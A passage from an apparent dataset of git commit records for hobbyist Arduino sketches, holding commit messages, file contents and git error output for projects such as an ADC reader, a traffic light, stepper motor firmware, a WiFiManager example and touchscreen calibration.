(32)\n#define _D6 (31)\n#define _D7 (30)\n\n#define _LED (13)\n\n#define _TRIGGER (40)\n\nvoid setup() {\n uint8_t outputs[] = {_A0, _A1, _BYTE, _RC, _LED};\n uint8_t inputs[] = {_BUSY, _D0, _D1, _D2, _D3, _D4, _D5, _D6, _D7, _TRIGGER};\n\n for (int idx = 0; idx < sizeof outputs; ++idx) {\n pinMode(outputs[idx], OUTPUT);\n }\n\n for (int idx = 0; idx < sizeof inputs; ++idx) {\n pinMode(inputs[idx], INPUT);\n }\n\n \/\/ put the chip into read mode by default\n digitalWrite(_RC, HIGH);\n\n wait_busy();\n\n \/\/ set the next channel to be read to 0\n read_analog(0);\n\n Serial.begin(19200);\n Serial.println(\"Ready\");\n}\n\n\/**\n Waits for BUSY to go high\n *\/\nvoid wait_busy() {\n while(digitalRead(_BUSY) == LOW) {\n digitalWrite(_LED, ~digitalRead(_BUSY));\n }\n}\n\n\/**\n Reads in the current conversion value, and sets the next channel to be\n sampled.\n *\/\nint16_t read_analog(uint8_t next_chan) {\n \/\/ select the channel for the next read\n digitalWrite(_A0, next_chan&0x01);\n digitalWrite(_A1, next_chan>>1);\n\n \/\/ pre-select the high byte for reading\n digitalWrite(_BYTE, LOW);\n\n \/\/ begin a conversion\n digitalWrite(_RC, LOW);\n delayMicroseconds(1);\n digitalWrite(_RC, HIGH);\n\n \/\/ wait for busy to go high\n wait_busy();\n\n \/\/ use port manipulation to read the data pins. Note that our pinmapping\n \/\/ is such that port C maps exactly onto the parallel output from the\n \/\/ ADS7825.\n uint8_t hbyte = PINC;\n\n \/\/ now for the high byte\n digitalWrite(_BYTE, HIGH);\n delayMicroseconds(1);\n\n uint8_t lbyte = PINC;\n\n return (hbyte<<8 | lbyte)&0xFFFF;\n}\n\nvoid ser_print_si(char * s, int i) {\n Serial.print(s);\n Serial.print(i, DEC);\n}\n\nvoid ser_print_sx(char * s, int i) {\n Serial.print(s);\n Serial.print(i, HEX);\n}\n\nint16_t cnt = 0;\nvoid loop() {\n Serial.print(cnt, DEC);\n ser_print_si(\" \", read_analog(1));\n ser_print_si(\" \", read_analog(2));\n ser_print_si(\" \", read_analog(3));\n ser_print_si(\" \", read_analog(0));\n Serial.println();\n cnt += 1;\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"d6b9acbdc8a4552893d0324555eedc0a1e9f4cca","subject":"Working nightrider #awesome","message":"Working nightrider #awesome\n","repos":"OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK","old_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Testing\/Blinking_with_I2C_method\/Blinking_with_I2C_method.ino","new_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Testing\/Blinking_with_I2C_method\/Blinking_with_I2C_method.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SmartKitchen-Emdebbed' did not match any file(s) known to git\nerror: pathspec 'System\/Software\/Arduino\/Testing\/Blinking_with_I2C_method\/Blinking_with_I2C_method.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"464d26f465002e2754b3851386eab9dbb544cee7","subject":"Init with read analog example","message":"Init with read analog example\n","repos":"tifon\/CO2Monitor,tifon\/CO2Monitor,tifon\/CO2Monitor","old_file":"CO2Monitor\/CO2Monitor.ino","new_file":"CO2Monitor\/CO2Monitor.ino","new_contents":"\/*\n AnalogReadSerial\n Reads an analog input on pin 0, prints the result to the serial monitor.\n Attach the center pin of a potentiometer to pin A0, and the outside pins to +5V and ground.\n \n This example code is in the public domain.\n *\/\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \/\/ read the input on analog pin 0:\n int sensorValue = analogRead(A0);\n \/\/ print out the value you read:\n Serial.println(sensorValue);\n delay(1); \/\/ delay in between reads for stability\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CO2Monitor\/CO2Monitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"90ff69500e19067378eca425625ddd080f224fb2","subject":"Added Button Status Detection Tester","message":"Added Button Status Detection Tester\n","repos":"Duke-Medical-Instrumentation\/InceptionTI","old_file":"TestDelay\/TestDelay.ino","new_file":"TestDelay\/TestDelay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/InceptionTI.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0fe3a866145c8a5a48378508490f74fb743efe9f","subject":"add retry on dht read and rfm12b send","message":"add retry on dht read and rfm12b send\n","repos":"timson\/yaws,timson\/yaws","old_file":"arduino\/indoor\/indoor.ino","new_file":"arduino\/indoor\/indoor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/timson\/yaws.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"288e4c48834c312d4140a09497b1a3f1b7470f94","subject":"get timezone and adjust from UTC time","message":"get timezone and adjust from UTC time\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"147af6748919b9ae7d02790ae7dc50d817a488b4","subject":"New Sketch: traffic-light","message":"New Sketch: traffic-light\n\nSigned-off-by: Gianpaolo Macario <f8885408b8c3d931b330bae3c3a28a3af912c463@gmail.com>\n","repos":"gmacario\/learning-arduino","old_file":"Sketches\/traffic-light\/traffic-light.ino","new_file":"Sketches\/traffic-light\/traffic-light.ino","new_contents":"\/\/ Blink green\/yellow\/red LED while the button is pressed\n\nconst int LED_GREEN = 11; \/\/ the pin for the green LED\nconst int LED_YELLOW = 10; \/\/ the pin for the yellow LED\nconst int LED_RED = 9; \/\/ the pin for the red LED\nconst int BUTTON = 7; \/\/ the input pin where the pushbutton is connected\n\nconst int TRANSITION_MS = 1000;\n\nint val = 0; \/\/ val will be used to store the state of the input pin\n\nvoid setup() {\n pinMode(LED_GREEN, OUTPUT); \/\/ tell Arduino LED is an output\n pinMode(LED_YELLOW, OUTPUT); \/\/ tell Arduino LED is an output\n pinMode(LED_RED, OUTPUT); \/\/ tell Arduino LED is an output\n pinMode(BUTTON, INPUT); \/\/ and BUTTON is an input\n}\n\nvoid loop(){\n val = digitalRead(BUTTON); \/\/ read input value and store it\n \n \/\/ check whether the input is HIGH (button pressed)\n if (val == HIGH) {\n digitalWrite(LED_GREEN, HIGH); \/\/ turn green LED ON\n digitalWrite(LED_YELLOW, LOW);\n digitalWrite(LED_RED, LOW);\n delay(TRANSITION_MS);\n digitalWrite(LED_GREEN, LOW); \/\/ turn green LED off\n digitalWrite(LED_YELLOW, HIGH);\n delay(TRANSITION_MS);\n digitalWrite(LED_YELLOW, LOW);\n digitalWrite(LED_RED, HIGH);\n delay(TRANSITION_MS);\n digitalWrite(LED_RED,LOW);\n } \n else {\n digitalWrite(LED_GREEN, LOW);\n digitalWrite(LED_YELLOW, LOW);\n digitalWrite(LED_RED, LOW);\n }\n}\n\n\/\/ EOF\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/traffic-light\/traffic-light.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"c808b4f4e90db52aac77ce03302f61966e16114a","subject":"Added Interrupt Functions","message":"Added Interrupt Functions\n\nCompilation Confirmation -- Verification after power tests.\n","repos":"wzschoche\/Titan-Rover,awwdang\/Titan-Rover,wzschoche\/Titan-Rover,awwdang\/Titan-Rover,wzschoche\/Titan-Rover","old_file":"Robotic Arm\/Titan16_Arm\/Titan16_Arm.ino","new_file":"Robotic Arm\/Titan16_Arm\/Titan16_Arm.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Robotic' did not match any file(s) known to git\nerror: pathspec 'Arm\/Titan16_Arm\/Titan16_Arm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"74ceba740976b841aaeb18aea701b8de82039299","subject":"add non blocking example","message":"add non blocking example\n","repos":"tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager","old_file":"examples\/AutoConnect\/AutoConnectNonBlocking\/AutoConnectNonBlocking.ino","new_file":"examples\/AutoConnect\/AutoConnectNonBlocking\/AutoConnectNonBlocking.ino","new_contents":"#include <WiFiManager.h> \/\/ https:\/\/github.com\/tzapu\/WiFiManager\nWiFiManager wm;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n \n \/\/reset settings - wipe credentials for testing\n \/\/wm.resetSettings();\n\n wm.setConfigPortalBlocking(false);\n\n \/\/automatically connect using saved credentials if they exist\n \/\/If connection fails it starts an access point with the specified name\n if(wm.autoConnect(\"AutoConnectAP\")){\n Serial.println(\"connected...yeey :)\");\n }\n else {\n Serial.println(\"Configportal running\");\n }\n}\n\nvoid loop() {\n wm.process();\n \/\/ put your main code here, to run repeatedly:\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AutoConnect\/AutoConnectNonBlocking\/AutoConnectNonBlocking.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e668987cf030649a7d988fb279eb77771e68338","subject":"Create photon-json.ino","message":"Create photon-json.ino","repos":"hpssjellis\/particle-photon-on-cloud9,hpssjellis\/particle-photon-on-cloud9","old_file":"photon-json.ino","new_file":"photon-json.ino","new_contents":" \/\/ Global variables here\n\n \nvoid setup(){\n \/\/ Any general setup stuff goes here to run once \n\n pinMode(D7, OUTPUT);\n\n Spark.subscribe(\"hook-response\/post-to-particle\", gotHookReply, MY_DEVICES);\n\tParticle.publish(\"post-to-particle\");\n\t\n}\n\n\nvoid gotHookReply(const char *name, const char *data){\n \n if (String(data) == \"The access token was not found\"){\n digitalWrite(D7, 1); \/\/ light D7 \n }\n \n}\n\n\nvoid loop(){\n \/\/ your looping stuff goes here\n\n}\n\n\n\n \/\/ Note: type into your browser https:\/\/api.spark.io\/v1\/devices\/ \n \/\/ to see what the full json reply is\n \/\/ {\n \/\/ \"error\": \"invalid_request\",\n \/\/ \"error_description\": \"The access token was not found\"\n \/\/ }\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'photon-json.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8b336df2ebbeee61d1f3f8a078e2420da776d8f9","subject":"arduino file","message":"arduino file\n\nmain arduino file\n","repos":"jenny5-robot\/jenny5-firmware,ubbots\/jenny5-firmware,ubbots\/jenny5-firmware,jenny5-robot\/jenny5-firmware","old_file":"jenny5-firmware.ino","new_file":"jenny5-firmware.ino","new_contents":"\/\/ version 2015.11.07.0\n\n#include <AccelStepper.h>\n\n#define num_motors 4\n\n\/\/Declare pin functions on Arduino\nint dir_pins[num_motors] = {2,5,8,11};\nint step_pins[num_motors] = {3,6,9,12};\nint enable_pins[4] = {4,7,10,13};\n\nint default_motor_speed = 3200; \/\/maximum steps per second \nint default_motor_acceleration = 800; \/\/steps\/second\/second to accelerate\n\nAccelStepper *steppers[num_motors];\n\nchar current_buffer[65];\n\n\/\/--------------------------------------------------------------------------------------------\nvoid setup() \n{\n for (int m = 0; m < num_motors; m++){\n steppers[m] = new AccelStepper(AccelStepper::DRIVER, step_pins[m], dir_pins[m]);\n steppers[m]->setMaxSpeed(default_motor_speed);\n steppers[m]->setSpeed(default_motor_speed);\n steppers[m]->setAcceleration(default_motor_acceleration);\n }\n\n reset_pins();\n\n Serial.begin(9600); \/\/Open Serial connection\n Serial.println(\"jenny 5 firmaware version 2015.11.09.4\");\n Serial.println();\n \/\/Print function list for user selection5\n Serial.println(\"Commands are:\");\n Serial.println(\"motor index can be between 0 and num_motors - 1\");\n Serial.println(\"M1 100# \/\/ move motor 1 to 100 steps\");\n Serial.println(\"D1# \/\/ Disable 1\");\n Serial.println(\"S1 100# \/\/ set speed of motor 1 to 100\");\n Serial.println(\"A1 100# \/\/ set acceleration of motor 1 to 100\");\n\n Serial.println();\n\n current_buffer[0] = 0;\n}\n\/\/--------------------------------------------------------------------------------------------\n\/\/Main loop\nvoid loop() {\n \n if (Serial.available()) {\n int num_read = 0;\n char arduino_buffer[65];\n\n num_read = Serial.readBytes(arduino_buffer, 64); \/\/Read up to 64 bytes\n arduino_buffer[num_read] = 0;\/\/ terminate the string\n if (num_read){\n strcat(current_buffer, arduino_buffer);\n \/\/ parse from the beginning until I find a M, D, S or A\n int buffer_length = strlen(current_buffer);\n \/\/Serial.write(current_buffer);\n for (int i = 0; i < buffer_length; i++)\n if (current_buffer[i] == 'M'){\/\/ move motor\n \/\/ find the terminal character #\n int j = i + 1;\n for (; j < buffer_length && current_buffer[j] != '#'; j++);\/\/ parse until I find the termination char\n if (j < buffer_length){\n char tmp_str[64];\n \/\/ Serial.println(i);\n \/\/ Serial.println(j);\n strncpy(tmp_str, current_buffer + i + 1, j - i - 1);\n tmp_str[j - i - 1] = 0;\n int motor_index, num_steps;\n \/\/ Serial.write(tmp_str);\n sscanf(tmp_str, \"%d%d\", &motor_index, &num_steps);\n move_motor(motor_index, num_steps);\n \/\/ remove the current executed command\n strcpy(current_buffer, current_buffer + j + 1);\n \/\/ Serial.write(current_buffer);\n break;\n }\n else{\/\/ the string is not completed ... so I must wait more...\n break; \/\/ for i\n }\n }\n else\n if (current_buffer[i] == 'D'){\/\/ disable motor\n \/\/ find the terminal character #\n int j = i + 1;\n for (; j < buffer_length && current_buffer[j] != '#'; j++);\/\/ parse until I find the termination char\n if (j < buffer_length){\n char tmp_str[64];\n \/\/ Serial.println(i);\n \/\/ Serial.println(j);\n strncpy(tmp_str, current_buffer + i + 1, j - i - 1);\n tmp_str[j - i - 1] = 0;\n int motor_index;\n \/\/ Serial.write(tmp_str);\n sscanf(tmp_str, \"%d\", &motor_index);\n disable_motor(motor_index);\n \/\/ remove the current executed command\n strcpy(current_buffer, current_buffer + j + 1);\n \/\/ Serial.write(current_buffer);\n break;\n }\n else{\/\/ the string is not completed ... so I must wait more...\n break; \/\/ for i\n }\n }\n \n }\n }\n \n\/\/ run motors\n for (int m = 0; m < num_motors; m++)\n if (steppers[m]->distanceToGo())\n steppers[m]->run();\n else\n steppers[m]->setCurrentPosition(0);\n}\n\/\/--------------------------------------------------------------------------------------------\n\/\/Reset pins to default states\nvoid reset_pins()\n{\n for (int m = 0; m < num_motors; m++){\n digitalWrite(step_pins[m], LOW);\n digitalWrite(dir_pins[m], LOW);\n digitalWrite(enable_pins[m], HIGH); \/\/ all motors are disabled now\n }\n}\n\/\/--------------------------------------------------------------------------------------------\nvoid move_motor(int motor_index, int num_steps)\n{\n digitalWrite(enable_pins[motor_index], LOW); \/\/ turn motor on\n \/\/Serial.println(\"Moving motor1 forward at default step mode.\");\n steppers[motor_index]->moveTo(num_steps); \/\/move num_steps\n \/\/Serial.println(\"Enter new option\");\n Serial.println();\n}\n\/\/--------------------------------------------------------------------------------------------\nvoid set_motor_speed(int motor_index, int motor_speed)\n{\n steppers[motor_index]->setMaxSpeed(motor_speed);\n steppers[motor_index]->setSpeed(motor_speed);\n}\n\/\/--------------------------------------------------------------------------------------------\nvoid set_motor_acceleration(int motor_index, int motor_acceleration)\n{\n steppers[motor_index]->setAcceleration(motor_acceleration);\n}\n\/\/--------------------------------------------------------------------------------------------\nvoid disable_motor(int motor_index)\n{\n digitalWrite(enable_pins[motor_index], HIGH); \/\/ disable motor\n}\n\/\/--------------------------------------------------------------------------------------------\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jenny5-firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12c44ae5ea241107a9e7e41b6ba6859b5ff1b0a7","subject":"a long way to got baby","message":"a long way to got baby\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndstopTest\/EndstopTest.ino","new_file":"EndstopTest\/EndstopTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"39bb81240952b89d02cbb656015fe6ad05799568","subject":"Add Fn layer support to buttons","message":"Add Fn layer support to buttons\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"2b297ba8a282a8532d8fa76fd95ab662f11ae714","subject":"Add Arduino\/Teensy demo snippet","message":"Add Arduino\/Teensy demo snippet\n","repos":"c0nnex\/SPAD.neXt,c0nnex\/SPAD.neXt","old_file":"Scripts\/serialdemo_spad.ino","new_file":"Scripts\/serialdemo_spad.ino","new_contents":"\/\/ *** SNDEMO ***\n\n\/\/ This example shows how to autoconnect between the SPAD.neXt and Arduino.\n\/\/\n\/\/ It demonstrates how to\n\/\/ - Respond to a connection request from SPAD.neXt\n\/\/ - Use a identifier to handshake\n\/\/ - Expose a data value to SPAD.neXt\n\/\/ - Request Data Updates from SPAD.neXt\n\n#include <CmdMessenger.h> \/\/ CmdMessenger\n\n\/\/ Internal led\nconst int ledPin = 13;\n\n\/\/ Listen on serial connection for messages from the pc\nCmdMessenger messenger(Serial);\n\n\/\/ This is the list of recognized commands. These can be commands that can either be sent\n\/\/ or received.\n\/\/ In order to receive, attach a callback function to these events\nenum\n{\n kRequest = 0, \/\/ Request from SPAD.neXt\n kCommand = 1, \/\/ Command to SPAD.neXt\n kEvent = 2, \/\/ Events from SPAD.neXt\n kDebug = 3, \/\/ Debug strings to SPAD.neXt Logfile\n kLed = 10, \/\/ CMDID for exposed data to SPAD.neXt\n kHeading = 11, \/\/ CMDID for data updates from SPAD.neXt\n};\n\nvoid attachCommandCallbacks()\n{\n \/\/ Attach callback methods\n messenger.attach(onUnknownCommand);\n messenger.attach(kRequest , onIdentifyRequest);\n messenger.attach(kLed , onTurnLedOn);\n messenger.attach(kHeading , onHeadingLockChanged);\n}\n\n\/\/ ------------------ C A L L B A C K S -----------------------\n\n\/\/ Called when a received command has no attached function\nvoid onUnknownCommand()\n{\n messenger.sendCmdStart(kDebug);\n messenger.sendCmdArg(\"UNKNOWN COMMAND\");\n messenger.sendCmdArg(messenger.lastCommandId);\n messenger.sendCmdArg(messenger.commandBuffer);\n messenger.sendCmdEnd();\n}\n\n\/\/ Callback function to respond to indentify request. This is part of the\n\/\/ Auto connection handshake.\nvoid onIdentifyRequest()\n{\n char *szRequest = messenger.readStringArg();\n\n if (stricmp(szRequest, \"INIT\") == 0) {\n messenger.sendCmdStart(kRequest);\n messenger.sendCmdArg(\"SPAD\");\n \/\/ Unique Device ID\n messenger.sendCmdArg(F(\"{DD7E3826-E439-4484-B186-A1443F3BC521}\"));\n \/\/ Device Name for UI\n messenger.sendCmdArg(\"Arduino Demo\");\n messenger.sendCmdEnd();\n return;\n }\n\n if (stricmp(szRequest, \"PING\") == 0) {\n messenger.sendCmdStart(kRequest);\n messenger.sendCmdArg(\"PONG\");\n messenger.sendCmdArg(messenger.readInt32Arg());\n messenger.sendCmdEnd();\n return;\n }\n if (stricmp(szRequest, \"CONFIG\") == 0) {\n\n \/\/ Expose LED\n messenger.sendCmdStart(kCommand);\n messenger.sendCmdArg(\"ADD\");\n messenger.sendCmdArg(kLed);\n messenger.sendCmdArg(\"leds\/systemled\"); \/\/ will become \"SERIAL:<guid>\/leds\/systemled\"\n messenger.sendCmdArg(\"U8\");\n messenger.sendCmdArg(\"RW\");\n messenger.sendCmdArg(\"Led\");\n messenger.sendCmdArg(\"Toggle LED on\/off\");\n messenger.sendCmdEnd();\n\n \/\/ Request Heading Lock Dir Updates\n messenger.sendCmdStart(kCommand);\n messenger.sendCmdArg(\"SUBSCRIBE\");\n messenger.sendCmdArg(kHeading);\n messenger.sendCmdArg(\"SIMCONNECT:AUTOPILOT HEADING LOCK DIR\");\n messenger.sendCmdEnd();\n\n \/\/ tell SPAD.neXT we are done with config\n messenger.sendCmd(kRequest, \"CONFIG\");\n return;\n }\n}\n\n\/\/ Callback to perform some action\nvoid onTurnLedOn()\n{\n int32_t newLed = messenger.readInt32Arg();\n if (newLed == 1)\n {\n digitalWrite(ledPin, HIGH);\n messenger.sendCmd(kDebug, \"LED COMMAND ON\");\n }\n else\n {\n digitalWrite(ledPin, LOW);\n messenger.sendCmd(kDebug, \"LED COMMAND OFF\");\n\n \/\/ When we turned it off we unsubscribe from the heading lock for demo purpose\n messenger.sendCmdStart(kCommand);\n messenger.sendCmdArg(\"UNSUBSCRIBE\");\n messenger.sendCmdArg(kHeading);\n messenger.sendCmdArg(\"SIMCONNECT:AUTOPILOT HEADING LOCK DIR\");\n messenger.sendCmdEnd();\n }\n}\n\n\/\/ LED on if Heading > 180 else off;\nvoid onHeadingLockChanged()\n{\n int32_t newHeading = messenger.readInt32Arg();\n if (newHeading > 180)\n {\n digitalWrite(ledPin, HIGH);\n messenger.sendCmd(kDebug, \"HEADING > 180\");\n }\n else\n {\n digitalWrite(ledPin, LOW);\n messenger.sendCmd(kDebug, \"HEADING < 180\");\n }\n}\n\n\/\/ ------------------ M A I N ----------------------\n\n\/\/ Setup function\nvoid setup()\n{\n \/\/ Listen on serial connection for messages from the pc\n\n \/\/ 115200 is typically the maximum speed for serial over USB\n Serial.begin(115200);\n\n \/\/ Attach my application's user-defined callback methods\n attachCommandCallbacks();\n\n \/\/ initialize the digital pin as an output.\n pinMode(ledPin, OUTPUT);\n\n \/\/ Make sure led is turned off after start or reset\n digitalWrite(ledPin, LOW);\n}\n\n\/\/ Loop function\nvoid loop()\n{\n \/\/ Process incoming serial data, and perform callbacks\n messenger.feedinSerialData();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Scripts\/serialdemo_spad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1acc2dca2586afe37693090ed87bf34f77cc3040","subject":"Added new servo control example","message":"Added new servo control example\n","repos":"arjo129\/uSpeech,arjo129\/uSpeech","old_file":"examples\/servocontrol\/servocontrol.ino","new_file":"examples\/servocontrol\/servocontrol.ino","new_contents":"#include <Servo.h>\n#include <ubrain.h>\n#include <uspeech.h>\n\nsignal voice(A0);\nint time;\nbool first = true, process = false;\nsyllable s;\nServo myservo;\nvoid left(){\n Serial.println(\"left(): called\");\n myservo.write(0);\n}\nvoid right(){\n Serial.println(\"right(): called\");\n myservo.write(180);\n}\nvoid center(){\n Serial.println(\"center(): called\");\n myservo.write(90);\n}\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n myservo.attach(9);\n voice.f_enabled = true;\n voice.minVolume = 1500;\n voice.fconstant = 400;\n voice.econstant = 1;\n voice.aconstant = 2;\n voice.vconstant = 3;\n voice.shconstant = 4;\n voice.calibrate();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly: \n char c = voice.getPhoneme();\n \n if(c==' '){\n if(process){\n int sum = s.f+s.o+s.v+s.s+s.h;\n if(sum>30){\n s.debugPrint();\n Serial.println();\n if(s.f>3){\n if(s.s>3){\n center();\n }\n else{\n left();\n }\n }\n else{\n if(s.s>3){\n center();\n }\n else{\n right();\n }\n }\n }\n s.f = 0;\n s.e = 0;\n s.o = 0;\n s.v = 0;\n s.s = 0;\n s.h = 0;\n process = false;\n \n }\n }\n else{\n if(first){\n time = millis();\n }\n else{\n \n }\n s.classify(c);\n process = true;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/servocontrol\/servocontrol.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f14d03d4c3ef8a01c11c094e76a9cfab1de36a49","subject":"Create XPTCalibrate.ino","message":"Create XPTCalibrate.ino","repos":"razorlt\/Particle-XPT2046","old_file":"examples\/XPTCalibrate.ino","new_file":"examples\/XPTCalibrate.ino","new_contents":"\/*\n * Copyright (c) 2017 razorlt, Spiros Papadimitriou\n *\n * This file is part of github.com\/spapadim\/XPT2046 and is released\n * under the MIT License: https:\/\/opensource.org\/licenses\/MIT\n *\n * This software is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied.\n *\/\n \/\/ILI9341_TFT \n \/\/ A2 : SS(Slave Select)\n \/\/ A3 : SCK(Serial Clock)\n \/\/ A4 : MISO(Master In Slave Out)\n \/\/ A5 : MOSI(Master Out Slave In)\n \/\/ The other pins are: cs - Chip select (aka slave select), dc - D\/C or A0 on the screen (Command\/Data switch), rst - Reset\n \n #include \"application.h\"\n #include <Adafruit_mfGFX.h>\n #include \"Adafruit_ILI9341.h\"\n #include \"XPT2046.h\"\n \n Adafruit_ILI9341 tft = Adafruit_ILI9341(\/*cs=*\/A2, \/*dc=*\/A1, \/*rst=*\/A0);\n XPT2046 touch(\/*cs=*\/ D2, \/*irq=*\/ D7);\n \n static void calibratePoint(uint16_t x, uint16_t y, uint16_t &vi, uint16_t &vj) {\n \/\/ Draw cross\n tft.drawFastHLine(x - 8, y, 16, ILI9341_WHITE);\n tft.drawFastVLine(x, y - 8, 16, ILI9341_WHITE);\n while (!touch.isTouching()) {\n delay(10);\n }\n touch.getRaw(vi, vj);\n \/\/ Erase by overwriting with black\n tft.drawFastHLine(x - 8, y, 16, ILI9341_BLACK);\n tft.drawFastVLine(x, y - 8, 16, ILI9341_BLACK);\n}\n\nvoid calibrate() {\n uint16_t x1, y1, x2, y2;\n uint16_t vi1, vj1, vi2, vj2;\n touch.getCalibrationPoints(x1, y1, x2, y2);\n calibratePoint(x1, y1, vi1, vj1);\n delay(1000);\n calibratePoint(x2, y2, vi2, vj2);\n touch.setCalibration(vi1, vj1, vi2, vj2);\n\n char buf[80];\n snprintf(buf, sizeof(buf), \"%d,%d,%d,%d\", (int)vi1, (int)vj1, (int)vi2, (int)vj2);\n \/\/ucg.setFont(ucg_font_helvR14_tr);\n \/\/ucg.setColor(0xff, 0xff, 0xff);\n tft.setTextColor(ILI9341_RED); tft.setTextSize(2);\n \/\/ucg.setPrintPos(0, 25);\n tft.setCursor(160, 160);\n tft.print(\"setCalibration params:\");\n tft.setCursor(0, 50);\n tft.print(buf);\n}\nvoid setup() {\n delay(300);\n tft.begin();\n delay(10);\n tft.setRotation(0);\n tft.fillScreen(ILI9341_BLACK);\n delay(100);\n touch.begin(ILI9341_TFTWIDTH, ILI9341_HEIGHT);\n touch.setRotation(touch.ROT0);\n\n calibrate();\n}\n\nvoid loop() {\n \/\/ Do nothing\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/XPTCalibrate.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"73f78babb516522e7115b98990c518bfc3f71ba6","subject":"more strings in flash","message":"more strings in flash\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"54bb6dcebd4fe23b14838a4d6db1270407eb22ec","subject":"Asservissement: caract\u00e9risation - d\u00e9placement du fichier","message":"Asservissement: caract\u00e9risation - d\u00e9placement du 